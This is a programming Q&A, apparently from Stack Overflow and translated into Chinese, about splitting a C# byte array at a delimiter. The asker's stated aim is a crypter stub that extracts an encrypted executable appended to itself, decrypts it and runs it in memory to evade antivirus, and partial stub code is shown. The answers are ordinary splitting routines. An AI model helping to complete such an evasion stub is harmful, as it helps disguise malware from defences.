【问题标题】:Split a byte array at a delimiter在分隔符处拆分字节数组
【发布时间】:2025-11-25 06:10:01
【问题描述】:

我遇到了一点问题,这里的其他问题对我没有多大帮助。

我是一名安全专业的学生,​​我正在尝试为一个项目编写一个加密器。对于那些不知道它是什么的人,你可以在这里阅读。 http://www.gamekiller.net/tutorials-guides/17187-tut-making-crypter-vb6-using-rc4.html

无论如何,快速解释一下,加密程序是旨在通过加密程序然后在前面附加一个“存根”来绕过防病毒程序的程序,该程序是一个解密它的程序。我在拆分文件时遇到了一个非常烦人的问题。

最大的烦恼是我必须将加密的可执行文件放入一个字节数组中,因为字符串会杀死我的加密可执行文件中的某些字符,使其无法执行。更糟糕的是,我仍然必须“拆分”exe,这就是麻烦的开始。

存根的基本思想是:

  • 获取当前exe路径
  • 通过 File.ReadAllytes 读取所有字节
  • 在分隔符“EVILDELIMITER”处拆分文件
  • 获取最后一个字段(因为那是加密的 EXE)
  • 使用 RC4 解密
  • 使用 RunPE 运行。

除了最烦人的分裂部分,我什么都可以工作。如何在分隔符处拆分字节数组?有没有更简单的方法来做到这一点?

这是我目前的存根代码。

public void main()
{
    string outpath = RandomString(8) + ".exe";
    byte[] key = { 33, 44, 55, 66, 77 };
    string apppath = Assembly.GetEntryAssembly();
    byte[] exe = File.ReadAllBytes(apppath);
    string strseperate = "EVILSEPERATOREVIL";
    System.Text.UTF8Encoding encoding = new System.Text.UTF8Encoding();
    byte[] seperator = encoding.GetBytes(strseperate);
    //Split code should go here

    exe = Decrypt(key, encrypted);
    Process.Start(outpath);
}

感谢您的帮助。

【问题讨论】:

  • 编码为 UTF8 并不理想。您可以获得无效的 unicode 代码点。您应该尝试遍历字节数组。
  • 如何将我的字符串更改为字节数组?我需要更改分隔符才能搜索它,除非您知道一个函数可以让我搜索带有字符串值的字节数组。我还修复了代码,我不小心使用了旧的存根版本。
  • @Roger 它向我抛出了一堆错误:(它说字符串没有 ToArray() 方法。

标签: c# security


【解决方案1】:
byte[] SeparateAndGetLast(byte[] source, byte[] separator)
{
  for (var i = 0; i < source.Length; ++i)
  {
     if(Equals(source, separator, i))
     {
       var index = i + separator.Length;
       var part = new byte[source.Length - index];
       Array.Copy(source, index, part, 0, part.Length);
       return part;
     }
  }
  throw new Exception("not found");
}

public static byte[][] Separate(byte[] source, byte[] separator)
{
    var Parts = new List<byte[]>();
    var Index = 0;
    byte[] Part;
    for (var I = 0; I < source.Length; ++I)
    {
        if (Equals(source, separator, I))
        {
            Part = new byte[I - Index];
            Array.Copy(source, Index, Part, 0, Part.Length);
            Parts.Add(Part);
            Index = I + separator.Length;
            I += separator.Length - 1;
        }
    }
    Part = new byte[source.Length - Index];
    Array.Copy(source, Index, Part, 0, Part.Length);
    Parts.Add(Part);
    return Parts.ToArray();
}

bool Equals(byte[] source, byte[] separator, int index)
{
  for (int i = 0; i < separator.Length; ++i)
    if (index + i >= source.Length || source[index + i] != separator[i])
      return false;
  return true;
}

【讨论】:

  • 您的实现看起来非常可靠,但是,为什么 Seperate 返回一个 byte[][] 而不是一个常规的 byte[]?我只需要最后一个字段,因为只有一个分隔符。
  • OK 快速提问,我应该在 中输入什么值?应该是byte[]吧?
  • in Seperate.Last>();它应该是 byte[] 对吧?还是不允许给我一个字节数组?
  • 简单的Separate(..).Last() 或者可以使用上述代码中的SeparateAndGetLast(..)
  • 解决方案可能正是我正在寻找的。只是为了理解,分离实际上得到了什么?它的用途是什么?您介意展示示例用法或评论代码吗?如何获得分隔符的两侧?
【解决方案2】:

您的方法存在许多缺陷 - 您正在将整个 Byte[] 读入内存,但解密是一个可流式处理的过程,因此您不必要地浪费内存。其次,您不能在 CLR 中“拆分”数组(或字符串)。当您拆分 CLR 字符串时,它会创建副本,这会浪费内存。

试试这个:

public static void Main(String[] args) {

    using(FileStream fs = new FileStream( @"path\to\fileName.exe", FileMode.Read)) {

        BinaryReader rdr = new BinaryReader( fs );
        SeekToEndOfDelimiter( rdr );

        // Use an implementation of RC4 decryption that accepts Streams as arguments, then pass fs directly as an argument:
        using(FileStream output = new FileStream( @"path\to\out.exe", FileMode.Write)) {
            // Providing the key arguments is an exercise for the reader
            MyRc4Implementation.DecryptStream( fs, output, key );
        }
    }

}

private static void SeekToEndOfDelimiter(BinaryReader rdr) {
    // Implementing this code is an exercise left up to the reader.
    // But just iterate through each byte (assuming ASCII-compatible encoding) until you encounter the end of the delimiter
}

那里,没有凌乱的 byte[] 数组 :)

【讨论】:

  • 不太确定如何实现这一点。我以前从未使用过 BianryReader。我也不太在乎浪费内存,因为它没有做任何密集的事情,只是解密 exe 并在终止之前运行它。
【解决方案3】:

我知道我参加聚会真的真的很晚了,但是...如果愿意,您当然可以修改它以轻松返回列表。我留下了 cmets/writelines 以防万一……这可能不是最优化/优化的代码,但适用于我的特定用例,我想我会分享。

    public static byte[][] SplitBytesByDelimiter(byte[] data, byte delimiter)
    {
        if (data == null) throw new ArgumentNullException(nameof(data));
        if (data.Length < 1) return null;

        List<byte[]> retList = new List<byte[]>();

        int start = 0;
        int pos = 0;
        byte[] remainder = null; // in case data found at end without terminating delimiter

        while (true)
        {
            // Console.WriteLine("pos " + pos + " start " + start);
            if (pos >= data.Length) break;

            if (data[pos] == delimiter)
            {
                // Console.WriteLine("delimiter found at pos " + pos + " start " + start);

                // separator found
                if (pos == start)
                {
                    // Console.WriteLine("first char is delimiter, skipping");
                    // skip if first character is delimiter
                    pos++;
                    start++;
                    if (pos >= data.Length)
                    {
                        // last character is a delimiter, yay!
                        remainder = null;
                        break;
                    }
                    else
                    {
                        // remainder exists
                        remainder = new byte[data.Length - start];
                        Buffer.BlockCopy(data, start, remainder, 0, (data.Length - start));
                        continue;
                    }
                }
                else
                {
                    // Console.WriteLine("creating new byte[] at pos " + pos + " start " + start);
                    byte[] ba = new byte[(pos - start)];
                    Buffer.BlockCopy(data, start, ba, 0, (pos - start));
                    retList.Add(ba);

                    start = pos + 1;
                    pos = start;

                    if (pos >= data.Length)
                    {
                        // last character is a delimiter, yay!
                        remainder = null;
                        break;
                    }
                    else
                    {
                        // remainder exists
                        remainder = new byte[data.Length - start];
                        Buffer.BlockCopy(data, start, remainder, 0, (data.Length - start));
                    }
                }
            }
            else
            {
                // payload character, continue;
                pos++;
            }
        }

        if (remainder != null)
        {
            // Console.WriteLine("adding remainder");
            retList.Add(remainder);
        }

        return retList.ToArray();
    }

【讨论】:

    【解决方案4】:

    这是我的。它只进行一次拆分。我没有尝试让它发挥作用。

    public static byte[][] Split(this byte[] composite, byte[] seperator)
    {
        bool found = false;
    
        int i = 0;
        for (; i < composite.Length - seperator.Length; i++)
        {
            var compositeView = new byte[seperator.Length];
            Array.Copy(composite, i, compositeView, 0, seperator.Length);
    
                found = compositeView.SequenceEqual(seperator);
            if (found) break;
        }
    
        if(found == false)
        {
            return null;
        }
    
        var component1Length = i;
        var component1 = new byte[component1Length];
    
        var component2Length = composite.Length - seperator.Length - component1Length;
        var component2 = new byte[component2Length];
        var component2Index = i + seperator.Length;
    
        Array.Copy(composite, 0, component1, 0, component1Length);
        Array.Copy(composite, component2Index, component2, 0, component2Length);
    
        return new byte[][]
        {
            component1,
            component2
        };
    }
    

    已测试(部分):

    byte[] b1 = new byte[] { 1, 2, 3, 4, 1, 1, 5 };
    byte[] b2 = new byte[] { 1, 1 };
    var parts1 = b1.Split(b2); // [1,2,3,4],[5]
    
    byte[] b3 = new byte[] { 1, 1, 3, 4, 4, 1, 5 };
    byte[] b4 = new byte[] { 1, 1 };
    var parts2 = b3.Split(b4); // [],[3,4,4,1,5]
    
    byte[] b5 = new byte[] { 0, 0, 3, 4, 4, 1, 1 };
    byte[] b6 = new byte[] { 1, 1 };
    var parts3 = b5.Split(b6); // [0,0,3,4,4],[]
    
    byte[] b7 = new byte[] { 1, 2, 3, 4, 5 };
    byte[] b8 = new byte[] { 1, 2, 3, 4 };
    var parts4 = b7.Split(b8); // [],[5]
    
    byte[] b9 = new byte[] { 1, 2, 3, 4, 5 };
    byte[] b0 = new byte[] { 2, 3, 4, 5 };
    var parts5 = b9.Split(b0); // [1],[]
    
    byte[] c1 = new byte[] { 1, 2, 3, 4, 5 };
    byte[] c2 = new byte[] { 6 };
    var parts6 = c1.Split(c2); // null
    

    【讨论】:

      【解决方案5】:

      对于想要就地使用字节而不是将它们复制到新数组的人,您可以为此目的使用ArraySegment

      这是一个实现:

      private static List<ArraySegment<byte>> Split(byte[] arr, byte[] delimiter)
      {
          var result = new List<ArraySegment<byte>>();
          var segStart = 0;
          for (int i = 0, j = 0; i < arr.Length; i++)
          {
              if (arr[i] != delimiter[j])
              {
                  if (j == 0) continue;
                  j = 0;
              }
      
              if (arr[i] == delimiter[j])
              {
                  j++;
              }
      
              if (j == delimiter.Length)
              {
                  var segLen = (i + 1) - segStart - delimiter.Length;
                  if (segLen > 0) result.Add(new ArraySegment<byte>(arr, segStart, segLen));
                  segStart = i + 1;
                  j = 0;
              }
          }
      
          if (segStart < arr.Length)
          {
              result.Add(new ArraySegment<byte>(arr, segStart, arr.Length - segStart));
          }
      
          return result;
      }
      

      【讨论】:

        【解决方案6】:

        这里是通用版

            public static IList<ArraySegment<T>> Split<T>(this T[] arr, params T[] delimiter)
            {
        
                var result = new List<ArraySegment<T>>();
                var segStart = 0;
                for (int i = 0, j = 0; i < arr.Length; i++)
                {
                    //If is match
                    if (arr.Skip(i).Take(delimiter.Length).SequenceEqual(delimiter))
                    {
        
                        //Skip first empty segment
                        if (i > 0)
                        {
                            result.Add(new ArraySegment<T>(arr, segStart, i - segStart));
                        }
        
                        //Reset
                        segStart = i;
                    }      
                }
        
                //Add last item
                if (segStart < arr.Length)
                {
                    result.Add(new ArraySegment<T>(arr, segStart, arr.Length - segStart));
                }
        
                return result;
            }
        

        【讨论】:

        • 不鼓励仅使用代码的答案。请单击编辑并添加一些单词来总结您的代码如何解决问题,或者解释您的答案与之前的答案/答案有何不同。谢谢